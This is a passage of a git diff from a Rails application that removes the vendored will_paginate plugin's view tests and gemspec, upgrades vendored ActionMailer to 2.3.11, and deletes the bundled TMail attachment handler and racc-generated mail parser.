test_will_paginate_with_options - paginate({ :page => 2 }, - :class => 'will_paginate', :prev_label => 'Prev', :next_label => 'Next') do - assert_select 'a[href]', 4 do |elements| - validate_page_numbers [1,1,3,3], elements - # test rel attribute values: - assert_select elements[1], 'a', '1' do |link| - assert_equal 'prev start', link.first['rel'] - end - assert_select elements.first, 'a', "Prev" do |link| - assert_equal 'prev start', link.first['rel'] - end - assert_select elements.last, 'a', "Next" do |link| - assert_equal 'next', link.first['rel'] - end - end - assert_select 'span.current', '2' - end - end - - def test_will_paginate_using_renderer_class - paginate({}, :renderer => AdditionalLinkAttributesRenderer) do - assert_select 'a[default=true]', 3 - end - end - - def test_will_paginate_using_renderer_instance - renderer = WillPaginate::LinkRenderer.new - renderer.gap_marker = '~~' - - paginate({ :per_page => 2 }, :inner_window => 0, :outer_window => 0, :renderer => renderer) do - assert_select 'span.my-gap', '~~' - end - - renderer = AdditionalLinkAttributesRenderer.new(:title => 'rendered') - paginate({}, :renderer => renderer) do - assert_select 'a[title=rendered]', 3 - end - end - - def test_prev_next_links_have_classnames - paginate do |pagination| - assert_select 'span.disabled.prev_page:first-child' - assert_select 'a.next_page[href]:last-child' - end - end - - def test_full_output - paginate - expected = <<-HTML - - HTML - expected.strip!.gsub!(/\s{2,}/, ' ') - - assert_dom_equal expected, @html_result - end - - def test_escaping_of_urls - paginate({:page => 1, :per_page => 1, :total_entries => 2}, - :page_links => false, :params => { :tag => '
    ' }) - - assert_select 'a[href]', 1 do |links| - query = links.first['href'].split('?', 2)[1] - assert_equal %w(page=2 tag=%3Cbr%3E), query.split('&').sort - end - end - - ## advanced options for pagination ## - - def test_will_paginate_without_container - paginate({}, :container => false) - assert_select 'div.pagination', 0, 'main DIV present when it shouldn\'t' - assert_select 'a[href]', 3 - end - - def test_will_paginate_without_page_links - paginate({ :page => 2 }, :page_links => false) do - assert_select 'a[href]', 2 do |elements| - validate_page_numbers [1,3], elements - end - end - end - - def test_will_paginate_windows - paginate({ :page => 6, :per_page => 1 }, :inner_window => 1) do |pagination| - assert_select 'a[href]', 8 do |elements| - validate_page_numbers [5,1,2,5,7,10,11,7], elements - assert_select elements.first, 'a', '« Previous' - assert_select elements.last, 'a', 'Next »' - end - assert_select 'span.current', '6' - assert_equal '« Previous 1 2 … 5 6 7 … 10 11 Next »', pagination.first.inner_text - end - end - - def test_will_paginate_eliminates_small_gaps - paginate({ :page => 6, :per_page => 1 }, :inner_window => 2) do - assert_select 'a[href]', 12 do |elements| - validate_page_numbers [5,1,2,3,4,5,7,8,9,10,11,7], elements - end - end - end - - def test_container_id - paginate do |div| - assert_nil div.first['id'] - end - - # magic ID - paginate({}, :id => true) do |div| - assert_equal 'fixnums_pagination', div.first['id'] - end - - # explicit ID - paginate({}, :id => 'custom_id') do |div| - assert_equal 'custom_id', div.first['id'] - end - end - - ## other helpers ## - - def test_paginated_section - @template = <<-ERB - <% paginated_section collection, options do %> - <%= content_tag :div, '', :id => "developers" %> - <% end %> - ERB - - paginate - assert_select 'div.pagination', 2 - assert_select 'div.pagination + div#developers', 1 - end - - def test_page_entries_info - @template = '<%= page_entries_info collection %>' - array = ('a'..'z').to_a - - paginate array.paginate(:page => 2, :per_page => 5) - assert_equal %{Displaying strings 6 - 10 of 26 in total}, - @html_result - - paginate array.paginate(:page => 7, :per_page => 4) - assert_equal %{Displaying strings 25 - 26 of 26 in total}, - @html_result - end - - def test_page_entries_info_with_longer_class_name - @template = '<%= page_entries_info collection %>' - collection = ('a'..'z').to_a.paginate - collection.first.stubs(:class).returns(mock('class', :name => 'ProjectType')) - - paginate collection - assert @html_result.index('project types'), "expected <#{@html_result.inspect}> to mention 'project types'" - end - - def test_page_entries_info_with_single_page_collection - @template = '<%= page_entries_info collection %>' - - paginate(('a'..'d').to_a.paginate(:page => 1, :per_page => 5)) - assert_equal %{Displaying all 4 strings}, @html_result - - paginate(['a'].paginate(:page => 1, :per_page => 5)) - assert_equal %{Displaying 1 string}, @html_result - - paginate([].paginate(:page => 1, :per_page => 5)) - assert_equal %{No entries found}, @html_result - end - - def test_page_entries_info_with_custom_entry_name - @template = '<%= page_entries_info collection, :entry_name => "author" %>' - - entries = (1..20).to_a - - paginate(entries.paginate(:page => 1, :per_page => 5)) - assert_equal %{Displaying authors 1 - 5 of 20 in total}, @html_result - - paginate(entries.paginate(:page => 1, :per_page => 20)) - assert_equal %{Displaying all 20 authors}, @html_result - - paginate(['a'].paginate(:page => 1, :per_page => 5)) - assert_equal %{Displaying 1 author}, @html_result - - paginate([].paginate(:page => 1, :per_page => 5)) - assert_equal %{No authors found}, @html_result - end - - ## parameter handling in page links ## - - def test_will_paginate_preserves_parameters_on_get - @request.params :foo => { :bar => 'baz' } - paginate - assert_links_match /foo%5Bbar%5D=baz/ - end - - def test_will_paginate_doesnt_preserve_parameters_on_post - @request.post - @request.params :foo => 'bar' - paginate - assert_no_links_match /foo=bar/ - end - - def test_adding_additional_parameters - paginate({}, :params => { :foo => 'bar' }) - assert_links_match /foo=bar/ - end - - def test_adding_anchor_parameter - paginate({}, :params => { :anchor => 'anchor' }) - assert_links_match /#anchor$/ - end - - def test_removing_arbitrary_parameters - @request.params :foo => 'bar' - paginate({}, :params => { :foo => nil }) - assert_no_links_match /foo=bar/ - end - - def test_adding_additional_route_parameters - paginate({}, :params => { :controller => 'baz', :action => 'list' }) - assert_links_match %r{\Wbaz/list\W} - end - - def test_will_paginate_with_custom_page_param - paginate({ :page => 2 }, :param_name => :developers_page) do - assert_select 'a[href]', 4 do |elements| - validate_page_numbers [1,1,3,3], elements, :developers_page - end - end - end - - def test_complex_custom_page_param - @request.params :developers => { :page => 2 } - - paginate({ :page => 2 }, :param_name => 'developers[page]') do - assert_select 'a[href]', 4 do |links| - assert_links_match /\?developers%5Bpage%5D=\d+$/, links - validate_page_numbers [1,1,3,3], links, 'developers[page]' - end - end - end - - def test_custom_routing_page_param - @request.symbolized_path_parameters.update :controller => 'dummy', :action => nil - paginate :per_page => 2 do - assert_select 'a[href]', 6 do |links| - assert_links_match %r{/page/(\d+)$}, links, [2, 3, 4, 5, 6, 2] - end - end - end - - def test_custom_routing_page_param_with_dot_separator - @request.symbolized_path_parameters.update :controller => 'dummy', :action => 'dots' - paginate :per_page => 2 do - assert_select 'a[href]', 6 do |links| - assert_links_match %r{/page\.(\d+)$}, links, [2, 3, 4, 5, 6, 2] - end - end - end - - def test_custom_routing_with_first_page_hidden - @request.symbolized_path_parameters.update :controller => 'ibocorp', :action => nil - paginate :page => 2, :per_page => 2 do - assert_select 'a[href]', 7 do |links| - assert_links_match %r{/ibocorp(?:/(\d+))?$}, links, [nil, nil, 3, 4, 5, 6, 3] - end - end - end - - ## internal hardcore stuff ## - - class LegacyCollection < WillPaginate::Collection - alias :page_count :total_pages - undef :total_pages - end - - def test_deprecation_notices_with_page_count - collection = LegacyCollection.new(1, 1, 2) - - assert_deprecated collection.class.name do - paginate collection - end - end - - uses_mocha 'view internals' do - def test_collection_name_can_be_guessed - collection = mock - collection.expects(:total_pages).returns(1) - - @template = '<%= will_paginate options %>' - @controller.controller_name = 'developers' - @view.assigns['developers'] = collection - - paginate(nil) - end - end - - def test_inferred_collection_name_raises_error_when_nil - @template = '<%= will_paginate options %>' - @controller.controller_name = 'developers' - - e = assert_raise ArgumentError do - paginate(nil) - end - assert e.message.include?('@developers') - end - - if ActionController::Base.respond_to? :rescue_responses - # only on Rails 2 - def test_rescue_response_hook_presence - assert_equal :not_found, - ActionController::Base.rescue_responses['WillPaginate::InvalidPage'] - end - end - -end diff --git a/vendor/plugins/will_paginate/will_paginate.gemspec b/vendor/plugins/will_paginate/will_paginate.gemspec deleted file mode 100644 index 92e00978..00000000 --- a/vendor/plugins/will_paginate/will_paginate.gemspec +++ /dev/null @@ -1,21 +0,0 @@ -Gem::Specification.new do |s| - s.name = 'will_paginate' - s.version = '2.3.2' - s.date = '2008-05-16' - - s.summary = "Most awesome pagination solution for Rails" - s.description = "The will_paginate library provides a simple, yet powerful and extensible API for ActiveRecord pagination and rendering of pagination links in ActionView templates." - - s.authors = ['Mislav Marohnić', 'PJ Hyett'] - s.email = 'mislav.marohnic@gmail.com' - s.homepage = 'http://github.com/mislav/will_paginate/wikis' - - s.has_rdoc = true - s.rdoc_options = ['--main', 'README.rdoc'] - s.rdoc_options << '--inline-source' << '--charset=UTF-8' - s.extra_rdoc_files = ['README.rdoc', 'LICENSE', 'CHANGELOG'] - s.add_dependency 'activesupport', ['>= 1.4.4'] - - s.files = %w(CHANGELOG LICENSE README.rdoc Rakefile examples examples/apple-circle.gif examples/index.haml examples/index.html examples/pagination.css examples/pagination.sass init.rb lib lib/will_paginate lib/will_paginate.rb lib/will_paginate/array.rb lib/will_paginate/collection.rb lib/will_paginate/core_ext.rb lib/will_paginate/finder.rb lib/will_paginate/named_scope.rb lib/will_paginate/named_scope_patch.rb lib/will_paginate/version.rb lib/will_paginate/view_helpers.rb test test/boot.rb test/collection_test.rb test/console test/database.yml test/finder_test.rb test/fixtures test/fixtures/admin.rb test/fixtures/developer.rb test/fixtures/developers_projects.yml test/fixtures/project.rb test/fixtures/projects.yml test/fixtures/replies.yml test/fixtures/reply.rb test/fixtures/schema.rb test/fixtures/topic.rb test/fixtures/topics.yml test/fixtures/user.rb test/fixtures/users.yml test/helper.rb test/lib test/lib/activerecord_test_case.rb test/lib/activerecord_test_connector.rb test/lib/load_fixtures.rb test/lib/view_test_process.rb test/tasks.rake test/view_test.rb) - s.test_files = %w(test/boot.rb test/collection_test.rb test/console test/database.yml test/finder_test.rb test/fixtures test/fixtures/admin.rb test/fixtures/developer.rb test/fixtures/developers_projects.yml test/fixtures/project.rb test/fixtures/projects.yml test/fixtures/replies.yml test/fixtures/reply.rb test/fixtures/schema.rb test/fixtures/topic.rb test/fixtures/topics.yml test/fixtures/user.rb test/fixtures/users.yml test/helper.rb test/lib test/lib/activerecord_test_case.rb test/lib/activerecord_test_connector.rb test/lib/load_fixtures.rb test/lib/view_test_process.rb test/tasks.rake test/view_test.rb) -end diff --git a/vendor/rails/actionmailer/CHANGELOG b/vendor/rails/actionmailer/CHANGELOG index 9f1a7ca8..59f5b187 100644 --- a/vendor/rails/actionmailer/CHANGELOG +++ b/vendor/rails/actionmailer/CHANGELOG @@ -1,15 +1,32 @@ +*2.3.11 (February 9, 2011)* +*2.3.10 (October 15, 2010)* +*2.3.9 (September 4, 2010)* +*2.3.8 (May 24, 2010)* +*2.3.7 (May 24, 2010)* + +* Version bump. + + +*2.3.6 (May 23, 2010)* + +* Upgrade TMail from 1.2.3 to 1.2.7. [Mikel Lindsaar] + + *2.3.5 (November 25, 2009)* * Minor Bug Fixes and deprecation warnings + *2.3.4 (September 4, 2009)* * Minor bug fixes. + *2.3.3 (July 12, 2009)* * No changes, just a version bump. + *2.3.2 [Final] (March 15, 2009)* * Fixed that ActionMailer should send correctly formatted Return-Path in MAIL FROM for SMTP #1842 [Matt Jones] diff --git a/vendor/rails/actionmailer/MIT-LICENSE b/vendor/rails/actionmailer/MIT-LICENSE index e7accc5e..a345a241 100644 --- a/vendor/rails/actionmailer/MIT-LICENSE +++ b/vendor/rails/actionmailer/MIT-LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2004-2009 David Heinemeier Hansson +Copyright (c) 2004-2010 David Heinemeier Hansson Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the diff --git a/vendor/rails/actionmailer/Rakefile b/vendor/rails/actionmailer/Rakefile index 2d099a9a..e7ef2b23 100644 --- a/vendor/rails/actionmailer/Rakefile +++ b/vendor/rails/actionmailer/Rakefile @@ -54,7 +54,7 @@ spec = Gem::Specification.new do |s| s.rubyforge_project = "actionmailer" s.homepage = "http://www.rubyonrails.org" - s.add_dependency('actionpack', '= 2.3.5' + PKG_BUILD) + s.add_dependency('actionpack', '= 2.3.11' + PKG_BUILD) s.has_rdoc = true s.requirements << 'none' diff --git a/vendor/rails/actionmailer/lib/action_mailer.rb b/vendor/rails/actionmailer/lib/action_mailer.rb index 02c536c8..e0440b8a 100644 --- a/vendor/rails/actionmailer/lib/action_mailer.rb +++ b/vendor/rails/actionmailer/lib/action_mailer.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2004-2009 David Heinemeier Hansson +# Copyright (c) 2004-2010 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the diff --git a/vendor/rails/actionmailer/lib/action_mailer/base.rb b/vendor/rails/actionmailer/lib/action_mailer/base.rb index 84997de3..3e4e7d1f 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/base.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/base.rb @@ -195,6 +195,39 @@ module ActionMailer #:nodoc: # end # end # + # = Multipart Emails with Attachments + # + # Multipart emails that also have attachments can be created by nesting a "multipart/alternative" part + # within an email that has its content type set to "multipart/mixed". This would also need two templates + # in place within +app/views/mailer+ called "welcome_email.text.html.erb" and "welcome_email.text.plain.erb" + # + # class ApplicationMailer < ActionMailer::Base + # def signup_notification(recipient) + # recipients recipient.email_address_with_name + # subject "New account information" + # from "system@example.com" + # content_type "multipart/mixed" + # + # part "multipart/alternative" do |alternative| + # + # alternative.part "text/html" do |html| + # html.body = render_message("welcome_email.text.html", :message => "

    HTML content

    ") + # end + # + # alternative.part "text/plain" do |plain| + # plain.body = render_message("welcome_email.text.plain", :message => "text content") + # end + # + # end + # + # attachment :content_type => "image/png", + # :body => File.read(File.join(RAILS_ROOT, 'public/images/rails.png')) + # + # attachment "application/pdf" do |a| + # a.body = File.read('/Users/mikel/Code/mail/spec/fixtures/attachments/test.pdf') + # end + # end + # end # # = Configuration options # @@ -278,7 +311,7 @@ module ActionMailer #:nodoc: @@raise_delivery_errors = true cattr_accessor :raise_delivery_errors - superclass_delegating_accessor :delivery_method + class_attribute :delivery_method self.delivery_method = :smtp @@perform_deliveries = true @@ -593,7 +626,7 @@ module ActionMailer #:nodoc: end def template_path - "#{template_root}/#{mailer_name}" + File.join(template_root, mailer_name) end def initialize_template_class(assigns) @@ -675,7 +708,7 @@ module ActionMailer #:nodoc: def perform_delivery_smtp(mail) destinations = mail.destinations mail.ready_to_send - sender = (mail['return-path'] && mail['return-path'].spec) || mail['from'] + sender = (mail['return-path'] && mail['return-path'].spec) || Array(mail.from).first smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port]) smtp.enable_starttls_auto if smtp_settings[:enable_starttls_auto] && smtp.respond_to?(:enable_starttls_auto) diff --git a/vendor/rails/actionmailer/lib/action_mailer/helpers.rb b/vendor/rails/actionmailer/lib/action_mailer/helpers.rb index 31f7de8d..ab8611a8 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/helpers.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/helpers.rb @@ -105,7 +105,7 @@ module ActionMailer private # Extend the template class instance with our controller's helper module. def initialize_template_class_with_helper(assigns) - returning(template = initialize_template_class_without_helper(assigns)) do + initialize_template_class_without_helper(assigns).tap do |template| template.extend self.class.master_helper_module end end diff --git a/vendor/rails/actionmailer/lib/action_mailer/quoting.rb b/vendor/rails/actionmailer/lib/action_mailer/quoting.rb index 94fa0420..5a32b652 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/quoting.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/quoting.rb @@ -1,3 +1,4 @@ +# encoding: us-ascii module ActionMailer module Quoting #:nodoc: # Convert the given text into quoted printable format, with an instruction diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/attachments.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/attachments.rb deleted file mode 100644 index 5dc5efae..00000000 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/attachments.rb +++ /dev/null @@ -1,46 +0,0 @@ -=begin rdoc - -= Attachment handling file - -=end - -require 'stringio' - -module TMail - class Attachment < StringIO - attr_accessor :original_filename, :content_type - end - - class Mail - def has_attachments? - multipart? && parts.any? { |part| attachment?(part) } - end - - def attachment?(part) - part.disposition_is_attachment? || part.content_type_is_text? - end - - def attachments - if multipart? - parts.collect { |part| - if part.multipart? - part.attachments - elsif attachment?(part) - content = part.body # unquoted automatically by TMail#body - file_name = (part['content-location'] && - part['content-location'].body) || - part.sub_header("content-type", "name") || - part.sub_header("content-disposition", "filename") - - next if file_name.blank? || content.blank? - - attachment = Attachment.new(content) - attachment.original_filename = file_name.strip - attachment.content_type = part.content_type - attachment - end - }.flatten.compact - end - end - end -end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/parser.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/parser.rb deleted file mode 100644 index 0ddc5252..00000000 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/parser.rb +++ /dev/null @@ -1,1478 +0,0 @@ -#:stopdoc: -# DO NOT MODIFY!!!! -# This file is automatically generated by racc 1.4.5 -# from racc grammer file "parser.y". -# -# -# parser.rb: generated by racc (runtime embedded) -# -###### racc/parser.rb begin -unless $".index 'racc/parser.rb' -$".push 'racc/parser.rb' - -self.class.module_eval <<'..end racc/parser.rb modeval..id8076474214', 'racc/parser.rb', 1 -# -# $Id: parser.rb,v 1.7 2005/11/20 17:31:32 aamine Exp $ -# -# Copyright (c) 1999-2005 Minero Aoki -# -# This program is free software. -# You can distribute/modify this program under the same terms of ruby. -# -# As a special exception, when this code is copied by Racc -# into a Racc output file, you may use that output file -# without restriction. -# - -unless defined?(NotImplementedError) - NotImplementedError = NotImplementError -end - -module Racc - class ParseError < StandardError; end -end -unless defined?(::ParseError) - ParseError = Racc::ParseError -end - -module Racc - - unless defined?(Racc_No_Extentions) - Racc_No_Extentions = false - end - - class Parser - - old_verbose, $VERBOSE = $VERBOSE, nil - Racc_Runtime_Version = '1.4.5' - Racc_Runtime_Revision = '$Revision: 1.7 $'.split[1] - - Racc_Runtime_Core_Version_R = '1.4.5' - Racc_Runtime_Core_Revision_R = '$Revision: 1.7 $'.split[1] - begin - require 'racc/cparse' - # Racc_Runtime_Core_Version_C = (defined in extention) - Racc_Runtime_Core_Revision_C = Racc_Runtime_Core_Id_C.split[2] - unless new.respond_to?(:_racc_do_parse_c, true) - raise LoadError, 'old cparse.so' - end - if Racc_No_Extentions - raise LoadError, 'selecting ruby version of racc runtime core' - end - - Racc_Main_Parsing_Routine = :_racc_do_parse_c - Racc_YY_Parse_Method = :_racc_yyparse_c - Racc_Runtime_Core_Version = Racc_Runtime_Core_Version_C - Racc_Runtime_Core_Revision = Racc_Runtime_Core_Revision_C - Racc_Runtime_Type = 'c' - rescue LoadError - Racc_Main_Parsing_Routine = :_racc_do_parse_rb - Racc_YY_Parse_Method = :_racc_yyparse_rb - Racc_Runtime_Core_Version = Racc_Runtime_Core_Version_R - Racc_Runtime_Core_Revision = Racc_Runtime_Core_Revision_R - Racc_Runtime_Type = 'ruby' - end - $VERBOSE = old_verbose - - def Parser.racc_runtime_type - Racc_Runtime_Type - end - - private - - def _racc_setup - @yydebug = false unless self.class::Racc_debug_parser - @yydebug = false unless defined?(@yydebug) - if @yydebug - @racc_debug_out = $stderr unless defined?(@racc_debug_out) - @racc_debug_out ||= $stderr - end - arg = self.class::Racc_arg - arg[13] = true if arg.size < 14 - arg - end - - def _racc_init_sysvars - @racc_state = [0] - @racc_tstack = [] - @racc_vstack = [] - - @racc_t = nil - @racc_val = nil - - @racc_read_next = true - - @racc_user_yyerror = false - @racc_error_status = 0 - end - - ### - ### do_parse - ### - - def do_parse - __send__(Racc_Main_Parsing_Routine, _racc_setup(), false) - end - - def next_token - raise NotImplementedError, "#{self.class}\#next_token is not defined" - end - - def _racc_do_parse_rb(arg, in_debug) - action_table, action_check, action_default, action_pointer, - goto_table, goto_check, goto_default, goto_pointer, - nt_base, reduce_table, token_table, shift_n, - reduce_n, use_result, * = arg - - _racc_init_sysvars - tok = act = i = nil - nerr = 0 - - catch(:racc_end_parse) { - while true - if i = action_pointer[@racc_state[-1]] - if @racc_read_next - if @racc_t != 0 # not EOF - tok, @racc_val = next_token() - unless tok # EOF - @racc_t = 0 - else - @racc_t = (token_table[tok] or 1) # error token - end - racc_read_token(@racc_t, tok, @racc_val) if @yydebug - @racc_read_next = false - end - end - i += @racc_t - unless i >= 0 and - act = action_table[i] and - action_check[i] == @racc_state[-1] - act = action_default[@racc_state[-1]] - end - else - act = action_default[@racc_state[-1]] - end - while act = _racc_evalact(act, arg) - ; - end - end - } - end - - ### - ### yyparse - ### - - def yyparse(recv, mid) - __send__(Racc_YY_Parse_Method, recv, mid, _racc_setup(), true) - end - - def _racc_yyparse_rb(recv, mid, arg, c_debug) - action_table, action_check, action_default, action_pointer, - goto_table, goto_check, goto_default, goto_pointer, - nt_base, reduce_table, token_table, shift_n, - reduce_n, use_result, * = arg - - _racc_init_sysvars - tok = nil - act = nil - i = nil - nerr = 0 - - catch(:racc_end_parse) { - until i = action_pointer[@racc_state[-1]] - while act = _racc_evalact(action_default[@racc_state[-1]], arg) - ; - end - end - recv.__send__(mid) do |tok, val| - unless tok - @racc_t = 0 - else - @racc_t = (token_table[tok] or 1) # error token - end - @racc_val = val - @racc_read_next = false - - i += @racc_t - unless i >= 0 and - act = action_table[i] and - action_check[i] == @racc_state[-1] - act = action_default[@racc_state[-1]] - end - while act = _racc_evalact(act, arg) - ; - end - - while not (i = action_pointer[@racc_state[-1]]) or - not @racc_read_next or - @racc_t == 0 # $ - unless i and i += @racc_t and - i >= 0 and - act = action_table[i] and - action_check[i] == @racc_state[-1] - act = action_default[@racc_state[-1]] - end - while act = _racc_evalact(act, arg) - ; - end - end - end - } - end - - ### - ### common - ### - - def _racc_evalact(act, arg) - action_table, action_check, action_default, action_pointer, - goto_table, goto_check, goto_default, goto_pointer, - nt_base, reduce_table, token_table, shift_n, - reduce_n, use_result, * = arg - nerr = 0 # tmp - - if act > 0 and act < shift_n - # - # shift - # - if @racc_error_status > 0 - @racc_error_status -= 1 unless @racc_t == 1 # error token - end - @racc_vstack.push @racc_val - @racc_state.push act - @racc_read_next = true - if @yydebug - @racc_tstack.push @racc_t - racc_shift @racc_t, @racc_tstack, @racc_vstack - end - - elsif act < 0 and act > -reduce_n - # - # reduce - # - code = catch(:racc_jump) { - @racc_state.push _racc_do_reduce(arg, act) - false - } - if code - case code - when 1 # yyerror - @racc_user_yyerror = true # user_yyerror - return -reduce_n - when 2 # yyaccept - return shift_n - else - raise '[Racc Bug] unknown jump code' - end - end - - elsif act == shift_n - # - # accept - # - racc_accept if @yydebug - throw :racc_end_parse, @racc_vstack[0] - - elsif act == -reduce_n - # - # error - # - case @racc_error_status - when 0 - unless arg[21] # user_yyerror - nerr += 1 - on_error @racc_t, @racc_val, @racc_vstack - end - when 3 - if @racc_t == 0 # is $ - throw :racc_end_parse, nil - end - @racc_read_next = true - end - @racc_user_yyerror = false - @racc_error_status = 3 - while true - if i = action_pointer[@racc_state[-1]] - i += 1 # error token - if i >= 0 and - (act = action_table[i]) and - action_check[i] == @racc_state[-1] - break - end - end - throw :racc_end_parse, nil if @racc_state.size <= 1 - @racc_state.pop - @racc_vstack.pop - if @yydebug - @racc_tstack.pop - racc_e_pop @racc_state, @racc_tstack, @racc_vstack - end - end - return act - - else - raise "[Racc Bug] unknown action #{act.inspect}" - end - - racc_next_state(@racc_state[-1], @racc_state) if @yydebug - - nil - end - - def _racc_do_reduce(arg, act) - action_table, action_check, action_default, action_pointer, - goto_table, goto_check, goto_default, goto_pointer, - nt_base, reduce_table, token_table, shift_n, - reduce_n, use_result, * = arg - state = @racc_state - vstack = @racc_vstack - tstack = @racc_tstack - - i = act * -3 - len = reduce_table[i] - reduce_to = reduce_table[i+1] - method_id = reduce_table[i+2] - void_array = [] - - tmp_t = tstack[-len, len] if @yydebug - tmp_v = vstack[-len, len] - tstack[-len, len] = void_array if @yydebug - vstack[-len, len] = void_array - state[-len, len] = void_array - - # tstack must be updated AFTER method call - if use_result - vstack.push __send__(method_id, tmp_v, vstack, tmp_v[0]) - else - vstack.push __send__(method_id, tmp_v, vstack) - end - tstack.push reduce_to - - racc_reduce(tmp_t, reduce_to, tstack, vstack) if @yydebug - - k1 = reduce_to - nt_base - if i = goto_pointer[k1] - i += state[-1] - if i >= 0 and (curstate = goto_table[i]) and goto_check[i] == k1 - return curstate - end - end - goto_default[k1] - end - - def on_error(t, val, vstack) - raise ParseError, sprintf("\nparse error on value %s (%s)", - val.inspect, token_to_str(t) || '?') - end - - def yyerror - throw :racc_jump, 1 - end - - def yyaccept - throw :racc_jump, 2 - end - - def yyerrok - @racc_error_status = 0 - end - - # - # for debugging output - # - - def racc_read_token(t, tok, val) - @racc_debug_out.print 'read ' - @racc_debug_out.print tok.inspect, '(', racc_token2str(t), ') ' - @racc_debug_out.puts val.inspect - @racc_debug_out.puts - end - - def racc_shift(tok, tstack, vstack) - @racc_debug_out.puts "shift #{racc_token2str tok}" - racc_print_stacks tstack, vstack - @racc_debug_out.puts - end - - def racc_reduce(toks, sim, tstack, vstack) - out = @racc_debug_out - out.print 'reduce ' - if toks.empty? - out.print ' ' - else - toks.each {|t| out.print ' ', racc_token2str(t) } - end - out.puts " --> #{racc_token2str(sim)}" - - racc_print_stacks tstack, vstack - @racc_debug_out.puts - end - - def racc_accept - @racc_debug_out.puts 'accept' - @racc_debug_out.puts - end - - def racc_e_pop(state, tstack, vstack) - @racc_debug_out.puts 'error recovering mode: pop token' - racc_print_states state - racc_print_stacks tstack, vstack - @racc_debug_out.puts - end - - def racc_next_state(curstate, state) - @racc_debug_out.puts "goto #{curstate}" - racc_print_states state - @racc_debug_out.puts - end - - def racc_print_stacks(t, v) - out = @racc_debug_out - out.print ' [' - t.each_index do |i| - out.print ' (', racc_token2str(t[i]), ' ', v[i].inspect, ')' - end - out.puts ' ]' - end - - def racc_print_states(s) - out = @racc_debug_out - out.print ' [' - s.each {|st| out.print ' ', st } - out.puts ' ]' - end - - def racc_token2str(tok) - self.class::Racc_token_to_s_table[tok] or - raise "[Racc Bug] can't convert token #{tok} to string" - end - - def token_to_str(t) - self.class::Racc_token_to_s_table[t] - end - - end - -end -..end racc/parser.rb modeval..id8076474214 -end -###### racc/parser.rb end - - -# -# parser.rb -# -# Copyright (c) 1998-2007 Minero Aoki -# -# This program is free software. -# You can distribute/modify this program under the terms of -# the GNU Lesser General Public License version 2.1. -# - -require 'tmail/scanner' -require 'tmail/utils' - - -module TMail - - class Parser < Racc::Parser - -module_eval <<'..end parser.y modeval..id7b0b3dccb7', 'parser.y', 340 - - include TextUtils - - def self.parse( ident, str, cmt = nil ) - new.parse(ident, str, cmt) - end - - MAILP_DEBUG = false - - def initialize - self.debug = MAILP_DEBUG - end - - def debug=( flag ) - @yydebug = flag && Racc_debug_parser - @scanner_debug = flag - end - - def debug - @yydebug - end - - def parse( ident, str, comments = nil ) - @scanner = Scanner.new(str, ident, comments) - @scanner.debug = @scanner_debug - @first = [ident, ident] - result = yyparse(self, :parse_in) - comments.map! {|c| to_kcode(c) } if comments - result - end - - private - - def parse_in( &block ) - yield @first - @scanner.scan(&block) - end - - def on_error( t, val, vstack ) - raise SyntaxError, "parse error on token #{racc_token2str t}" - end - -..end parser.y modeval..id7b0b3dccb7 - -##### racc 1.4.5 generates ### - -racc_reduce_table = [ - 0, 0, :racc_error, - 2, 35, :_reduce_1, - 2, 35, :_reduce_2, - 2, 35, :_reduce_3, - 2, 35, :_reduce_4, - 2, 35, :_reduce_5, - 2, 35, :_reduce_6, - 2, 35, :_reduce_7, - 2, 35, :_reduce_8, - 2, 35, :_reduce_9, - 2, 35, :_reduce_10, - 2, 35, :_reduce_11, - 2, 35, :_reduce_12, - 6, 36, :_reduce_13, - 0, 48, :_reduce_none, - 2, 48, :_reduce_none, - 3, 49, :_reduce_16, - 5, 49, :_reduce_17, - 1, 50, :_reduce_18, - 7, 37, :_reduce_19, - 0, 51, :_reduce_none, - 2, 51, :_reduce_21, - 0, 52, :_reduce_none, - 2, 52, :_reduce_23, - 1, 58, :_reduce_24, - 3, 58, :_reduce_25, - 2, 58, :_reduce_26, - 0, 53, :_reduce_none, - 2, 53, :_reduce_28, - 0, 54, :_reduce_29, - 3, 54, :_reduce_30, - 0, 55, :_reduce_none, - 2, 55, :_reduce_32, - 2, 55, :_reduce_33, - 0, 56, :_reduce_none, - 2, 56, :_reduce_35, - 1, 61, :_reduce_36, - 1, 61, :_reduce_37, - 0, 57, :_reduce_none, - 2, 57, :_reduce_39, - 1, 38, :_reduce_none, - 1, 38, :_reduce_none, - 3, 38, :_reduce_none, - 1, 46, :_reduce_none, - 1, 46, :_reduce_none, - 1, 46, :_reduce_none, - 1, 39, :_reduce_none, - 2, 39, :_reduce_47, - 1, 64, :_reduce_48, - 3, 64, :_reduce_49, - 1, 68, :_reduce_none, - 1, 68, :_reduce_none, - 1, 69, :_reduce_52, - 3, 69, :_reduce_53, - 1, 47, :_reduce_none, - 1, 47, :_reduce_none, - 2, 47, :_reduce_56, - 2, 67, :_reduce_none, - 3, 65, :_reduce_58, - 2, 65, :_reduce_59, - 1, 70, :_reduce_60, - 2, 70, :_reduce_61, - 4, 62, :_reduce_62, - 3, 62, :_reduce_63, - 2, 72, :_reduce_none, - 2, 73, :_reduce_65, - 4, 73, :_reduce_66, - 3, 63, :_reduce_67, - 1, 63, :_reduce_68, - 1, 74, :_reduce_none, - 2, 74, :_reduce_70, - 1, 71, :_reduce_71, - 3, 71, :_reduce_72, - 1, 59, :_reduce_73, - 3, 59, :_reduce_74, - 1, 76, :_reduce_75, - 2, 76, :_reduce_76, - 1, 75, :_reduce_none, - 1, 75, :_reduce_none, - 